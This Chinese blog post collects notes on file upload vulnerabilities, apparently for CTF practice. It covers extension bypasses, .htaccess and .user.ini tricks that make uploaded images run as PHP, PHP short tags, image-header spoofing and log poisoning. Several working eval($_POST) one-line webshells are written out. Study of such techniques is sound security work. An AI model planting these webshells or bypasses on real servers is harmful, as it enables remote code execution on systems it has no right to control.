文件上传漏洞
本文最后更新于:1 年前
文件上传相关方法/问题
文件上传
前端/后端过滤
常见php后缀名
某些情况下绕过后缀名检测:
php,php3,php4,php5,phtml.pht
[]过滤——>{}
.htaccess 配置文件
.htaccess是什么
.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
.htaccess利用方法
法一:
// FileMatch 参数即为文件名的正则匹配
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
// 1
<?php @eval($_POST['a']);?>
法二:
// 将所有以jpg为后缀的文件,按照php文件解析
AddType application/x-httpd-php .jpg
//filename.jpg
<?php @eval($_POST['a']);?>
.user.ini 配置文件
利用方法
//需要在同一目录下存在php文件
在PHP文件解析之前/之后,包含文件---相当于在php文件中添加语句
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件
auto_append_file=a.jpg //解析后进行包含
如果目录下有user.ini会先去识别里面的配置。当然文档也说了,并不是所有的配置都可以识别。只有 PHP_INI_PERDIR 和 PHP_INI_USER 模式可以。
auto_append_file和auto_prepend_file
一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)
其中xxx就是 auto_append_file的值。
auto_append_file= 1.php
如果题目在php.ini中设置了 open_basedir,那么我们就可以上传.user.ini进行修改open_basedir的值,当然条件比较苛刻。
//
现在回到这个题。为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。
这样就在每个php文件上包含了我们的木马文件。
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。
php短标签
1.
<? echo '123';?>
前提是开启配置参数short_open_tags=on
2.
<?=(表达式)?>===<?php echo(表达式)?>
例 <?=eval($_POST['a']);?>
不需要开启参数设置
3.
<% echo '123';%>
前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了
4.
<script language="php">echo '123';</script>
<script language="php">eval($_POST['a'])</script>
不需要修改参数开关,但是只能在7.0以下可用
文件头
image/png GIF89A
日志文件
/var/log/nginx/access.log
用Burp修改User-Agent为php一句话木马
将日志文件当作php解析
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!